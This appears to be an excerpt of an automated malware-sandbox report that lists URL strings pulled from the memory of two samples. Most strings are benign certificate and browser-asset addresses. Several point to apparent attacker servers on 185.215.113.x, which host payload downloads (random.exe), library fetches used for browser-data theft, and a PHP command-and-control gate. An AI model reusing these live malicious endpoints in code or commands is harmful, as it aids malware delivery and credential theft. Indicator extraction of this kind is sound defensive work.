Source: skotes.exe, 0000001C.00000002.3410402524.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395dE~
Source: skotes.exe, 0000001C.00000002.3410402524.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeN
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe7
Source: file.exe, 00000000.00000002.2711220384.000000000051E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712124553.0000000000B57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllHe
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlltf
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllKk
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2711220384.0000000000577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlle
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllUO
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2384865787.00000000005CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712124553.0000000000B57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%R7
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000000.00000003.2384865787.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2712124553.0000000000B57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDHCAAK.exeata;
Source: file.exe, 00000000.00000002.2711220384.0000000000538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: file.exe, 00000000.00000003.2384865787.00000000005CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfY
Source: file.exe, 00000000.00000002.2748824901.00000000232BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: file.exe, 00000000.00000002.2711220384.000000000051E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206e)
Source: file.exe, 00000000.00000002.2712124553.0000000000B57000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001C.00000002.3410402524.000000000077A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.3410402524.000000000077A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2760728126.000000006F6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2756621063.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2738215747.000000001D289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, IEGCBFHJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: a89d4ac7-7cb3-47c6-a86a-7b91df348d70.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2748824901.00000000232B3000.00000004.00000020.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2748824901.00000000232B3000.00000004.00000020.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, IEGCBFHJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 053e92a9-eb83-456a-ba36-55378499de96.tmp.11.dr, a89d4ac7-7cb3-47c6-a86a-7b91df348d70.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 053e92a9-eb83-456a-ba36-55378499de96.tmp.11.dr, a89d4ac7-7cb3-47c6-a86a-7b91df348d70.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2748824901.00000000232B3000.00000004.00000020.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2748824901.00000000232B3000.00000004.00000020.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2384756090.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, GIIIIJDH.0.dr, IEGCBFHJ.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: a89d4ac7-7cb3-47c6-a86a-7b91df348d70.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
